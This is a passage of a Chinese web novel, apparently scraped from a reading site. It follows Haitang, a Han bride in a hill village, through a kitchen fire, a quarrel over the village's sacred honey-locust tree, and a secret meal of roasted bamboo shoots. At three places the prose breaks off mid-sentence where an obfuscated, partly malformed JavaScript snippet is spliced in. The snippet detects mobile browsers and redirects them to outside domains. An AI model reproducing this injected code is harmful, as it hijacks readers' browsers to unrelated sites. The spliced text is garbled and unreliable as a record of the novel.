白氏发火道:“人穷怪屋基,你就是不中用!” 海棠还想给自己分辨一句,看见刀莲生沉冷地盯了自己一眼,硬生生闭了嘴。 刀莲生自灶屋出来,用脚盆里泡衣服的水胡乱洗干净了手脚,然后招来莲叶问是怎么回事。得知就是海棠手脚不麻利,一头要烧火,一头又要去贴饼子,灶膛里的柴火塞多了,掉落下来,引燃了她从竹林里捡回来的乱七八糟倒在灶膛边的一堆笋壳叶子。 “嫂嫂把笋壳叶子倒出来,腾空了背篓去掰了一背篓的竹笋回来。她说那笋子能吃,中午要给我们加菜,被娘狠狠骂了。因为就是她把背篓装了竹笋,却把笋壳叶子随便倒在灶膛前。灶膛里的柴禾掉下来,一下子把笋壳引燃了,才烧起来的。烧得太快了,把房顶都烧着了,吓死我们了。” 回来的时候,刀莲生心情原本就有些不好,这下更不好了。 晌午的时候,招满婶经过田坎,看见他,两人打了招呼,招满婶迟疑地跟他讲了句:“莲生啊,你别让俺们家的骡子太累 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290586|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着了。” 刀莲生当时心头就有点难受。 但是也没办法。 他明白招满婶的意思。 她家那头骡子已经连着在田里干了十来日了,也的确是该休息一下了。 刀莲生当即说把骡子牵回去将息两天。 也亏得他为了抢农时,之前就一直早出晚归地干,是以碰到招满婶的时候,自己家的水田还没耙过的只剩两块了,就是人工慢慢耙也没关系的。所以,现在让骡子休息休息,还能耽搁得起。 只是,那骡子毕竟不是自家的,被人这么说了,心里堵得慌。 他不是不爱惜畜生,谁家的他都爱惜,实在是心急着早点把田平整出来,好栽秧子了。但是看在招满婶眼里,他就是不爱惜别人家的畜生了。 如果家里那头骡子还在,也不至于被招满婶那样说。 家里今日的晌午饭送得迟了,正好出了招满婶这个小插曲,刀莲生干脆提早半日从田里出来,结束了今天的农活。 结果回家就看到这一幕。 莲叶老实,讲话不偏不倚,问她才能知道原委。 这么看,确实是海棠的不是了。 原来家里迟迟没送来午饭,也是因为海棠做晌午饭的时候烧了灶屋。 刀莲生去了灶屋,重新给鼎锅掺了一勺水,打算做个面汤。然后又去翻了翻米汤缸子,见里面有和得稀糊糊的玉米杂粮面,表面没冒泡,只怕是没发酵好,但是不管了,这时候早过了晌午了,一家子只怕都饿得前胸贴后背了。 他把缸子搬到灶头来,准备自己来贴饼子。 正要去圈棚后面的谷草垛扯两个谷草来生火,这时候白氏抱着个谷草闯进来,“哎呀,叫你不要挨锅灶了。你去休息,饭我来做!”把他轰出了灶屋。 刀莲生出来就看见海棠还杵在外面地坝里,他心头烦躁。 一头勤劳中用的健骡,换回来个一而再再而三把灶屋点燃的媳妇儿,也不知道好在哪里? 刀莲生看了看有些无措的海棠,什么话都不想说,去了堂屋,在自己那张凉床上一躺,被子拉过来盖在身上,不一会儿就睡着了。 灶屋房顶上冒出炊烟,婆婆和两个姑子在厨房忙着做午饭。 自己一直干站着也不是事儿,海棠去了堂屋,抓了一捆麻筋坐到火塘边,掀开裙子露出大腿,把麻丝压在腿上,慢慢地搓麻、接麻。 晚点时候,莲叶在门口悄悄朝她招手,“嫂子,你出来。” 海棠丢开手上的麻线,怏怏地起身跟着莲叶出去了。 莲叶引着她来了院坝边。 “嫂子,我们这里洗衣服,如果衣服太脏了,清水搓不干净,就用草灰泡一下。泡上一两个时辰后再搓,就比较容易洗干净了。” 海棠一时没听懂。 莲叶把院坝边那个洗脚盆拖了两下,里面的水荡了起来。 海棠看清楚,那个木质脚盆里,婆婆那身她没洗干净的衣服裤子,正泡在一盆浸润了许多草木灰的黑水里。 37. 第 37 章 衣裳已经泡了有一个时辰了,海棠再用劲儿搓洗了几回,白氏那身蓝色衣服上沾染上的草木浆汁的确是淡了不少。 海棠打算去外面清洗。 必须清洗出来,还要争取在太阳落坡前把衣服晾晒起来,否则脏水里沤一晚上,衣服会发臭的。 海棠向莲叶问了下洗衣服的地方,说是就在寨神林,她哥哥挑水的地方。 “很好找,一直往后坡山上走,到了自然认得。因为那里有很多水潭。” 海棠用背篓装着拧干的衣服就去了后山上清洗。 地方确实好找,一直往上走就是了。 出了刀家转到房屋背后的上坡路,有一段是土路。越往上走岔道越多,该是通往寨子里各家各户的小路。但是主路却很明显,是大小不一的石头铺就而成的硬化道路。石头路很有些年岁了,中间部分走的人多,表面磨得很光滑,两头踩得少的地方不是长满了杂草就是布满了青苔。 海棠碰到不少寨里的妇孺,着婆婆白氏那种绣了花的黑色或蓝色衣裤,戴着绣花包头布,把背篓的麻绳套在额头上,靠脑袋承受重力把背篓背在身背后。 这种背背篓的方式还挺少见,她忍不住驻足观看。 人家看她一身汉人衣裙,也觉得稀奇。几个妇女嬉笑着对她指指点点,都走远了,还回头看她好几次。 海棠笑笑,拉了拉双肩的麻绳,背着背篓逆流而上,爬了约莫二十多分钟的缓坡路就到了。 整片寨神林可谓长在水里。 从上到下,大约有十来个大小不一的串在一起的水潭,有的深,有的浅,高高低低,往下流着水。水一直往山下梯田流去。 水潭多,明显分了工。有供人畜吃用的水,有的就是洗衣淘菜用的。人畜吃用的水潭在最上面,几个挑水的男人都从最上面那个水潭取水走下来。洗衣服洗东西则在下面几个浅水池里进行。 水潭周围都砌着石头,方便大家取用水。 海棠到的时候,一个位置较低的浅水潭边有三四个女人正在那里洗衣服。她们或蹲在岸边,或干脆挽起裤子站到水潭里去。石头上搁着木盆、背篓。一人占据一块地方,衣服搁在石头上,用木槌捶打,或是用手压在石头上狠狠搓洗。 海棠看大家并不在意现场有男人在,随意地挽起长裤长袖露出大腿和胳膊。 有个妇女甚至是直接像刀莲荷那样穿着露出大腿的短裤出的门。她的手臂和腿,也都跟刀莲荷一样粗壮。 这段时间出门虽然见到的碧约寨的妇孺不多,但是海棠已经知道,这里的女人似乎流行黑壮的美,黑、结实。她就没见过一个跟她一样长得又白又瘦的。并且因为天气热的缘故,短袖衣裤也是跟男人一样随意穿着就外出的,女人们在衣着方面一点都不保守。 海棠在浅水潭边找了个地方搁下背篓。因为穿的是裙子,不方便。见大家都不在意人前露出大腿,就没了顾忌。她将裙摆提起来扎在腰间,露出下面只穿了五分短亵裤的两条腿,下到水潭里清洗衣服。 这引得附近几个女人都不时偷看她。 她知道她们为什么看她。 她露出的大腿,白得耀目。 她们眼里有掩饰不住的惊艳之色。 刀莲生直到白氏来叫他起来吃午饭才醒过来。 上午海棠因为手脚不麻利,又出了差点点燃了灶屋这事儿,自然,该她做的好些家务活儿就没做。比如给骡子给牛要准备的草饲料就没弄回来。 刀莲生吃了饭后去牲畜棚里喂牛喂骡子,旁边扔着的背篓是空的,啥也没有。他只好自己背了个大背篼,拿把镰刀,去了地里。 太阳落坡了,黄昏来了,夜幕垂落下来。 刀莲生背着冒尖儿的满满一大背篓从林坡里捡回来的苎麻叶子回家,喂了牛和骡子,洗罢手脚,发现家里里里外外都没看到海棠的身影。 问莲叶。 说是中午她们在灶屋做饭的时候,嫂子背着衣服去寨神林清洗去了,一直没见回来过。 刀莲生点点头,暗想中午被母亲骂过,海棠必定是想把衣服洗得干干净净些才会回,便先把担忧隐在心里。他转去厨房提了两桶水来喂畜生。 看着畜生吃了草料,喝了水,天快黑了海棠仍没回来。 刀莲生担忧起来,走到院坝一隅,朝后山坡上望了又望。 屋后的竹林坡上,只有晚风穿过竹林发出的沙沙声响,却始终不见海棠回来的身影。 天色昏暗下来,白氏走过来道:“她别不是因为被饿了一顿,就赌气又跑回娘家了吧?” “饿了一顿?”刀莲生疑惑。 白氏阴沉着脸道:“中午我没让莲叶去叫她回来吃饭!” 刀莲生:“……” 刀莲生想起来自己下午起床吃饭,的确是没看到海棠在场。 只那会儿他以为海棠羞愧,不好意思跟着一家子一起吃饭,就躲到卧房里去了。 又再回想莲叶先前说的那话,发现自己早遗漏了一件事情——海棠的确是没吃晌午饭! 她是在母亲和妹妹们做午饭的时候去的寨神林洗衣服。 母亲的威吓下,小妹既没去给嫂嫂送饭,也没去叫她回来吃饭。 但是那女人咋回事,不叫你,你自己饿了不知道回来吃饭吗? “她不会跑的。娘,我去找找。” 刀莲生更担心海棠不熟悉山里的地形,那寨神林里水潭又多,有深有浅,天昏地暗的,她要是不会凫水,偏巧落进水潭里……刀莲生一颗心顿时揪紧了。 他深蹙着两条浓眉,先去灶屋拿了火镰和火石揣在身上,然后又去圈棚,翻了一截四五十公分长的粗竹筒出来,往竹筒里揉了些谷草,和堂屋火塘里没焚烧透的木柴,做了个简易火把,疾步往寨神林找人去。 一刻钟后他到了寨神林,看见海棠举着根长长的竹竿正在吃用的那个深水潭边打皂角,顿时脸色大变,“你在做什么?!” 海棠举着竹竿回头,“夫君?你怎么来了?” 也不等刀莲生回答,她扭过头去继续举着竹竿在枝丫中用力扑打,一边兴奋无比地道:“喂,你看那是棵什么树?我告诉你,那是皂角树!夫君,咱们发财啦发财啦!” 水潭的尽头,一棵树干粗大、饱经沧桑的皂角树,遮天蔽日地绝世独立。 海棠激动地道:“天啊,我从未见过这么大一棵皂角树。它长这么大,这么高,结了好多皂角。你看它上面密密麻麻地吊着的那个又长又扁的东西,绿色的,就是皂角啦。它现在是绿色的,等到秋天成熟后就是褐色了的。用它洗衣服洗头洗澡,比草木灰干净多了,用处也多多了。你们怎么不采收啊?你看它上面挂的褐色的那些,就是往年的。让它们烂在树上多可惜。你也真是笨,我都问你要过几次了,你说没有。你天天来这里挑水,竟然对它视而不见。你等我再打些下来,我们捡回去可以用很长一段时间。” 水潭里已经漂浮着不少皂角。 海棠贪心,想着把上面成熟的皂角,能打下来的都尽量打下来。 毕竟她经常洗澡的人,十分需要这个玩意儿。 又经历过今天因没洗干净衣服被婆婆臭骂一顿,她更对这东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304992|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视若珍宝。 “这树的树干这么粗,我估摸着只怕有上百年的历史了吧。”海棠说。 它的树冠冠幅也是巨大,上下连着一片的五六个水潭,都被它的枝枝丫丫覆盖,形成了一道天然天幕,遮雨挡雪。 树太大,那皂角自然结得多,青色的褐色的都有。青的是今年新结的果实,还未成熟,要到十月份才能熟。褐色的是陈年的,早就熟了,哪一年结成的不知道,反正褐色的挂在树上也还有不少。 这成熟的皂角就有这点好处,长期宿存枝上不自然下落,但是极易遭虫蛀。 不过即使被虫蛀了不少,她摘得多,总有十之二三是完好无损的,也能用好一段时间了。 海棠打得欢快,恨不能竹竿能打到的地方都给它打下来,没注意到那边刀莲生脸色苍白。 “快住手!” 刀莲生几步奔过来,一把夺过海棠手里的竹竿,然后右腿一抬,竟将竹竿用膝盖头生生撇断,将其一分为二,再二分为四,最后远远地抛掷到山崖下。 海棠给他一顿操作搞懵了,“你做什么?” 刀莲生却是如临大敌:“这树不能打,上面的果实也不能摘!”他声色俱厉,“这是我们碧约寨的神树,受所有窝尼人供奉的神树!” 刀莲生告诉海棠,这棵皂角树是神树,能辟邪消灾,是碧约寨的保护神。它终年累月站在这山岗上保佑着碧约寨和全寨子里的人,已经有五百多年的历史了。谁要是对这棵树不敬重,必将遭到神树的惩罚。 海棠听罢,哭笑不得,她自然是不信的,“哄我呢?我们那儿好多人家屋前就种得有这个树,平时洗衣服洗澡洗碗就用皂角来洗,家家户户都用,没见过谁被天打雷劈的。” 海棠仗着汉人和窝尼人泾渭分明,互相不了解对方习俗和风土人情这点信息差,但凡是不能用常理解释清楚的事情,她就一律以“我们那儿怎样怎样”来蒙混过关,屡试不爽。 刀莲生严肃道:“我不管你们汉人那里如何,但是在碧约寨,这棵神树就是碰不得!” 跟着就讲了几个寨民因为无意中冒犯了神树而被惩罚的例子。 有一老汉,捡了被雷劈断的皂角树树枝回去当柴禾烧,结果他家快要出栏的猪不明不白死掉了。此后三年家里养的猪,都在半大不大的时候平白无故死掉,还开始连累周围的邻居家里的猪都死了。那家人再不敢养猪,更因被寨民憎恨,不得已搬到了别的村寨去住。 又有一年,因为皂角树树枝太茂盛,垂落水潭里,枝叶腐烂,影响了水质。头人就叫了几个壮汉来砍掉一些枝丫。才砍下去一刀,树干里竟流出像血一样的汁液。那年大旱,寨里的田里收成少了三分之二,寨神林几乎干涸,寨子里饿死不少人。 海棠听罢,嗤之以鼻,“你亲眼看见它树干里出血了?” “我没亲见,可这是寨里的老辈人一代代流传下来的事情。大家都知道。” 海棠见他神情严肃,“得,我不打了。不过这些打下来的,咱捡回去……” 她蹲下身,探手把漂浮在水面上的皂角一劲儿往背篓里捞。 刀莲生拉起她,把背篓倒扣,只拣了衣服重新装进去,然后背上背篓,拽着她的手拖着她就往家走。 结果发现她手里还抓着一大把。 “扔了它们。” 海棠舍不得,“一把,我就拣一把……” “够了!除非你想给我们家带来灾难!” “……” 海棠被骤然发火的刀莲生骇住,不敢再啰嗦,撒开手,看那把皂角落进石头缝里。 38. 第 38 章 难不成那个寨神林,其实就是因那棵巨大的皂角树而命名的? 一树成林。 活了五百多年的树,说它是神树,好像也说得过去。 回到家,刀莲生帮她把背篓里的衣服晾到竹竿上,便去了堂屋。 海棠则转去灶房,先揭开锅盖看了眼锅里。空空如也。 刀家没给她留午饭。 极度失望。 微微有些难过。 深深叹一口气,把锅盖盖上,海棠开始想辙搞吃的。 她今天只吃了早饭那一顿,此刻早就饿得前胸贴后背了。 今儿她办砸了事情,哪里还敢别指望去找刀家人要吃的了,刀莲生更不可能。 想起他下午回来时那脸色,海棠心里就堵得慌。 在灶屋里里外外都找遍了,也没找到自己中午掰回来的那一背篓竹笋。 想着会不会在灶膛那边堆着,于是摸到灶台上的火镰和火石,点燃油灯,托着灯碗打算转到灶膛那边去翻一下柴禾堆。 这时候莲叶进灶屋来,海棠便问她看见自己中午掰回来的那一背篓竹笋没? 莲叶道:“娘让我倒进茅坑里了,说是沤肥。我原还想着把笋壳叶子剥下来当柴烧,可是太难剥了,那笋壳毛也太容易沾手了,就干脆一起倒掉了。” 海棠:“……” 莲叶看海棠正站在灶膛那边,以为她要生火煮东西,又迟疑地说:“嫂嫂,娘说,说这段时间,你还是暂时不要碰锅灶了,饭我来做,免得你又……”话说到这里,莲叶精乖地戛然而止。 说得这么明显,海棠自然听懂了,扯了下嘴角,“那我想要烧洗澡水怎么办?” “我给嫂嫂烧好。” 海棠只得道:“好吧。麻烦你了,小妹。” “不麻烦,不麻烦的。”莲叶诚惶诚恐地摇手,问道:“嫂嫂现在要洗澡吗?” “嗯。” 莲叶便赶紧给铁锅里掺了一大锅水,盖上锅盖。然后看她一眼,面色小心翼翼的。 海棠把油灯放在灶台上,把灶膛这边的位置让给她。 莲叶赶紧走过来坐到灶膛边就开始生火烧水。 海棠在泥地上站了会儿。 为了把泡软的地面早点弄干,下午白氏指挥两个女儿用撮箕给地上铺上了厚厚一层草木灰。如今进灶屋,人人都会沾一脚的灰。 干站了会儿,海棠走到石案边,拿起了菜刀。 莲叶一直偷瞧嫂子,先看她脸色不大好,心里便犯嘀咕。 虽然一同生活的时间不长,但是这个嫂嫂已好几次叫她刮目相看。就说堂伯娘那么强势的人吧,把她自己的儿媳妇收拾得服服帖帖的,可在嫂嫂这里,一起头就吃了瘪。所以嫂嫂本质上绝对不是个表面看上去那么温柔可欺的女人。 今日弄出的事情阵仗挺大,不知道最后会怎么了结。她总觉得,嫂嫂心里憋着股气没出。怨气、闷气、火气,不知道是哪一种。她这模样,是想出气来着。 然后就瞅到了海棠竟拿起了菜刀,莲叶顿时惊得脸色发白。 她倏地站起身来,结巴道:“嫂,嫂子,你要做什么?” 海棠头也不回道:“搞点吃的。” 莲叶惊疑不定地看着她,没听懂她的意思。 只见海棠拿起案板上的菜刀转身就出了灶屋,莲叶立刻追到灶屋门口,又见海棠提起外面的空背篓背在身后,然后疾步往后坡竹林去了,莲叶方才暗吁口气。 只是,目送海棠转过牲畜棚后不见了身影,莲叶只觉得满脑子浆糊,不知道嫂嫂要干什么。 天都黑了,哥哥才将她从外面找回来,她怎么又往外走? 想了下,莲叶回身往灶膛里添了一把柴禾后就往堂屋跑去。 “哥,你来下啊,帮我提桶水到坝子里。”莲叶没进屋,躲在堂屋门外抻着脑袋朝刀莲生猛眨眼睛。 刀莲生正坐在火塘边闷着头咕噜咕噜吸水烟。 这烟叶又老又碎,好多叶梗,都是舅舅家卖不出去的边角料。 每年母亲去舅舅家走亲戚,回来就会给他包大几斤。 除了烟叶,还有茶叶。 家里喝的酽茶,从没自己花过钱,也是从舅舅家拿回来的。 舅舅家里种烟叶,也栽茶树。他家有一匹山的茶树。舅家是白宏寨数一数二的富户。 他做梦都想有舅舅家那么发达。 闭上眼,又猛吸几口劣质水烟。 今天发生了太多让人心情不快的事情,他现在什么活儿都不想做,只想躺在床上去,被子蒙头大睡一觉。 他经营的这个家,从十五岁他独挑大梁开始,他从年头辛苦到年尾,一年又一年,没有向好的方向发展,反而这日子越过越差了。家里好多吃用的东西都要靠亲戚、靠乡邻帮衬、周济。 一次两次,人家不会说啥。可是年年岁岁如此,连自己也觉得脸皮太厚了。所以不能怪亲戚乡邻现在看到他、看到刀家人都嫌! 越想,刀莲生心里越苦,不知道如何才能把日子过好。思来想去,能想到的,不外乎还是明日起早一点,能多做一点是一点。勤劳肯干些,日子定然会转好的。 这样安慰自己一番,却马上又自己打破这种幻想。最后,脑子里空空的,唯有多抽几口那呛嗓子的劣质烟叶,把那些不快驱散走。 母亲和妹妹们还在火光里忙碌着。 那个女人也不知道在灶屋里磨蹭什么。这种时候,她该来堂屋跟着娘绩麻啊,唯有这样才能让娘心里痛快些。 莲叶在外面叫他,像是有话只同他说。 刀莲生于是放下竹筒,出了堂屋。 莲叶引着他走到灶屋门口,才说:“哥,刚才嫂子拿着菜刀,背着背篓往后坡上去了。” 刀莲生眉头紧皱,“她有说干什么去么?” “嫂子说搞点吃的。” 刀莲生顿时心下懊恼。 之前就知道她没吃晌午饭,但后来去寨神林找她时,给她的行为吓到,啥也忘了。一转眼回到家里,更是把她饿肚子的事情忘得一干二净。 天色已是乌漆墨黑的,她去坡上又能搞到什么吃的?夏天的山里,晚上只有蛇鼠虫蚁出没。她真是乱来! 刀莲生疲惫地暗叹口气,想着只好再去找她回来时,见莲叶说罢就往灶屋跑。 刀莲生有点奇怪,跟进来看。 莲叶正在往灶膛里添柴禾。 “你在煮什么?” “哦,嫂子说想洗澡,我给她烧锅洗澡水。” 那她应该很快就回来了。 这么想着,那头牲畜棚外果然就转出来一道模糊的身影。 竹林就在房子背后,海棠也没走多远。 只是中午太贪心,她把大的竹笋全掰了,只剩下些个头小的。剥了笋壳估计就只有大拇指粗细了。天色又黑,竹林里光线更暗,她心头害怕,只好赶紧掰了五六个中午时候嫌弃得不行的小竹笋便回来了。 五六个,料理出来,一碗都没有,但充饥是完全没问题了。要吃饱肚子,就差点意思。先这么对付过去吧。 海棠看见刀莲生立在灶屋门口,两人对视了一眼。 男人神色严肃,眼里有掩不住的不快。 海棠不知就里,但想,这种情况下最好不要主动招惹他。于是手拿菜刀背着背篓,低着头侧身从他身旁经过,快速钻进灶屋去了。 刀莲生没跟进去,目光已扫到她背篓底下寥寥几个带笋壳的竹笋。 竹笋能吃,他第一次听说。 那玩意儿每年春天都发,尤其五月份的时候,一场雨水过后,密密麻麻带壳的笋子冲破土层冒出来。是以,从没打理过,但坡后的竹林越发越多了。每年做竹子编出来的东西也多,但多不过它新发出来的竹笋,真是用之不竭。所以大家都爱种竹子。 为了不让竹笋顶烂了屋基,碧约寨人建房子的时候,地基都要比竹林矮上一米多高,并且家家户户在房子背后都要挖一道后阳沟来,以便将房子和坡后的竹林分隔开。 遍地能见到的玩意儿,从没在意过的东西,没想到竟是能吃的? 刀莲生半信半疑,在外面听见海棠对莲叶说:“莲叶,你帮我把这几个竹笋埋在灰堆里烤。像烤辣椒那样。” 莲叶道:“嫂子,不剥笋壳吗?” 海棠说:“不剥。” 莲叶又道:“嫂子,这真能吃吗?” “能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14315057|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃。”海棠语气轻快,“鲜美得很,比辣椒还好吃,比蘑菇还鲜美。对了,蘑菇,你们吃过蘑菇吗?” “当然吃啊。青黄不接的时候,我们经常去深山里挖蘑菇回来吃。我一般都是跟着哥哥去打猎的时候去深山里采摘。林子外头一点的地方,都被其他人采完了,轮不到我们,就只能往深山里走。” “这样啊。不过可惜竹笋快要过季节了,它长得太快了。过不了几天就变老了,不能吃了。” 莲叶道:“如果真的能吃,下次我早点去采回来。我们寨子里好多竹林,都没人掰那个笋子吃。我们不知道是能吃的。” “我们那儿经常吃这个,特别是用它来炒腊肉,那是人间美味的一绝啊!” 别的不说,只说她忽然提到腊肉,顿时叫刀莲生同莲叶一样,控制不住暗暗吞了口口水。 刀莲生赶紧走了,回了堂屋。 海棠指挥莲叶把五六个小姑娘手腕粗的竹笋埋进灶膛滚烫的灰堆里,然后又把石臼搬出来,舀了瓢水刷洗干净,再把石臼倒扣在筲箕里晾干水分,等待待会儿竹笋烤好了,捣碎了来吃。 完事后,她去拿洗澡要用到的干净衣裳。 堂屋门开着半扇,海棠到了石阶前,有点犹豫。 这会儿婆婆和大姑子自是坐在火塘边忙碌地料理那些大捆大捆的麻筋。 来刀家不足半月,海棠看到的刀家的女人做得最多的事情便是打理苎麻了。几乎天天晚上在火塘边一坐几个小时的伺候那些细长的麻线。 早前海棠曾好奇地问过莲叶那些苎麻到底要多久才能打理完。 莲叶说,家里那几块苎麻地收割回来的苎麻,从采收剥皮、到搓成线、到最后织成布,每年婆婆都要侍弄两月左右的时间。 “头麻收回来织成布后,娘几乎休息不了几天,因为两个月后差不多二麻又要开始收割了。不过二麻的量远比不上头麻,所以后面花费的时间差不多要少一半多。娘也就会轻松很多。” 按照莲叶的说法,再按照苎麻一年收三次来算,那不是碧约寨的妇女一年中有四个月时间都在干同一件事情?这几乎占据一年三分之一的时间了。 婆婆今年六十四岁了,自从十六岁她从白宏寨嫁到碧约寨开始跟着她自己的婆婆学习料理苎麻,除去前头十六年她做姑娘的时间,后面几十年,四舍五入,可谓,这活儿她几乎做了半生! 海棠便忍不住想,人生的一半时间都在绩麻织布,呜呼哀哉,她肯定干不了这个。 可是碧约寨的女人,几乎个个都像婆婆这样过一生的。如果她不愿学,或者学不好,那么,不会绩麻织布的女人,不但婆婆嫌弃,时间长了,丈夫估计也是挺嫌弃她的吧。山里男人,哪个愿意养个废物妻子呢? 海棠不敢想长远了。 但她能肯定的是,她绝不要做个一生一半时间都在绩麻织布的女人。 不过,这苎麻料理的时间长,却也是刀家、是碧约寨的寨民们一项十分重要的进项。 每年苎麻收割后不久,就有外来的人来寨子里收购麻线、麻绳以及织成的麻布。各村寨里也有马帮。夏季的时候,马帮驮运的货物就主要是这一类,从山里驮到外面世界去贩售,大家都赚些辛苦钱。 据说刀家一年三季的苎麻收成,总共可织布六十丈,也即是两百米布。 织成的麻布,除了管够一家子的穿用外,剩余的就是去换成钱。这些各种苎麻产品,麻线、麻绳、麻布等等,每年大约能让刀家有五两银子左右的进账。 五两银子,正是一头青口骡子的价格。 海棠在门外看见刀莲生跟他娘在碰头低声交谈,隐约就是在说骡子的事情。慢慢的,白氏脸上显出不耐,最后母子俩大声争执起来。 听吵架的内容,还跟自己有关,海棠更不便进屋去了,便立在外墙根儿下。 前头内容没听到,只听到两句,母子俩就吵完了。 “我就饿了她一顿,你就来找我理论。哼,你就由着她吧。你堂伯娘早就教过你,女人得打,不打不听话。你看人家德生把媳妇治得多听话。你这么将就她,她还不是不让你进屋上床挨她!” “娘,别说了!——行吧,就照您的意思办。” 39. 第 39 章 母子俩显然闹翻了,白桂景头一次见自己那个老实本分的儿子竟这么固执己见,尽管他最后还是向自己妥协了,可,这仍是不好的迹象。 本来那儿媳妇就管不大住,如果莲生还横在中间偏帮儿媳妇,以后这家还不得她做主了! 白氏越想越恨,越想越伤心。 儿子不向着她这个当娘的,他还为了那个小贱人忤逆自己,他完全忘记了那女人还是她咬牙坚持给他聘回来的,当初他可是死活不愿要的! 白桂景把手里的麻筋往脚旁的篮子里重重一砸,扯了扯衣摆,上楼去了。 堂屋安静了好一阵,谁也没说话。海棠趁此机会赶紧进屋,去卧房里把换洗衣服找出来,抱着又去了灶屋。 刀莲荷瞟一眼大门,嘴角撇了下。 刀莲生垂着眼,抱着臂粗的竹筒咕嘟咕嘟狠吸了两口,吩咐大妹妹,“把麻都收起来吧,明天再打理。还有,去把莲叶叫上来了,都上楼去早点睡了。” 刀莲荷早等着哥哥这句话。 母亲和哥哥吵架,她大气不敢出。 她这哥哥性子很好,但因为他平时不苟言笑,沉闷少语,长得又高又结实,气势足。不生气则已,一旦发起火来,连母亲都怕他。 刀莲荷胡乱把地上、凳子上的麻筋麻线麻绳挽成几个团,统统都塞进篮子里。然后走到门口,直接冲灶屋那边喊了几嗓子,“刀莲叶,你个死人,娘叫你去灶屋传句话,你一去半天不回来。赶紧死回来睡觉啦!” 莲叶那头洗澡水已经烧好了。 她滞留灶屋是太久了。 本来她是被母亲勒令来警告嫂子不要碰灶台的。 姐姐发火了,她忙答应了一声,扑打扑打身上的灰尘就回堂屋睡觉了。 可惜没能尝到嫂子掰回来的烤竹笋。 那东西要是真能吃,吃了不上吐下泻,她一定要去多掰点回来存着。 家里的吃食现在主要是她在打理,她常常为每日那两顿饭犯愁。 眼看着家里的存粮越来越少,莲叶心焦,如何让一家人不挨饿地吃到稻子成熟呢?眼下,连秧子都还没栽下田呢。 每年她都在跟着大人们学着辨认野地里能吃的东西。 山里最多见的是蘑菇,深山老林里,腐烂的木头上,落雨之后,蘑菇长得又多又快。 山那么多那么大,很多新发出来的蘑菇、没见过的蘑菇。品种太多了,不好认,就是大人们也时常认错。认错了,会吃死人的。所以这两年她开始进山采蘑菇以来,就只采那两三样绝对不会出错的品种,其余无法确定的不敢采。 因为胆小,收获总是很少。但她想,饿几顿,总比吃死了好。饿能饿几天,那个毒蘑菇,一顿就给吃死了,划不来。 母亲和妹妹们上楼睡觉去了后,刀莲生一截卷烟也吸完了,坐在火塘前发了会儿呆。 然后他起身走到堂屋门口,朝牲畜棚那边看了眼。 里面没有幽若的灯光透出来。 不是说要洗澡吗? 这都半天了,她到底在磨蹭什么?真是不省心! 刀莲生大步去了灶屋,到了门口,他放轻脚步,先听了听。 里头,他听见了嘶嘶的呼疼声。 “嘶,好烫好烫!” 他疑惑的皱眉,难道她怕那圈棚里的老鼠,干脆在灶屋洗澡了吗? 又听,没听见哗啦的水声响。 慢慢探头往内瞧。 海棠站在灶台边,旁边摆着油灯和石臼,还有两个腾着热气的带壳的竹笋。笋壳已经烤糊了,表面黑乎乎的。 海棠手里拿着一个笋子,正尖着几根手指在剥笋壳,一边剥,一边喊烫,不时把烫伤的手指塞进嘴里抿一下。 剥好的竹笋露出来,有些透明发焉,她丢进石臼里。剩下两个,同样也是把笋壳叶子剥了,把里面的根茎部分丢进石臼。 然后海棠拉开碗柜把盐巴罐子抱了出来,揭开油纸,两根手指伸进去抓了一小撮盐巴撒到笋子上,再拿石杵随便捣了两下,就开始吃起来。 筷子也不用,徒手伸进石臼里先把里头的内容搅合搅合,然后就抓起一把舂碎的还连在一起的碎笋丢进嘴里,飞快地咀嚼起来,嘴里发出噗呲噗呲的脆响。几口吞下肚,一声喟叹:“真美味!” 刀莲生:“……” 他不信。 但是看她吃得欢快又满足,又有那么几分可信。可惜不能亲尝一口亲身验证。 刀莲生转回堂屋,合身在竹凉床上躺下。 但是睡不着。 她还没洗澡。 就她那笨手笨脚的样,要是再在牲畜棚里摔倒了可怎么办。 刀莲荷又坐起身来,发了一会儿怔,然后起身走到角落,从墙上的布袋子里又摸了把碎烟叶出来,将其捏在粗粝的大掌里碾搓成拇指粗细的一截卷烟,摁进烟嘴儿,再从火塘里抽了块燃烧的木柴把烟点着,坐在火塘边吸起了第二桶烟来。 海棠吃完了烤竹笋,先盐巴罐子封好,放在它原来的位置上。仔细看一看,一切看上去毫无异样。什么碗什么盘盏该在柜子里什么位置,她都原样放回去了的。确定不会让人发现有人动过那个盐巴罐子后她才关上了碗柜门。 然后把灶台收拾干净,石臼洗了晾好,这才来提了热水到牲畜棚里,洗起澡来。 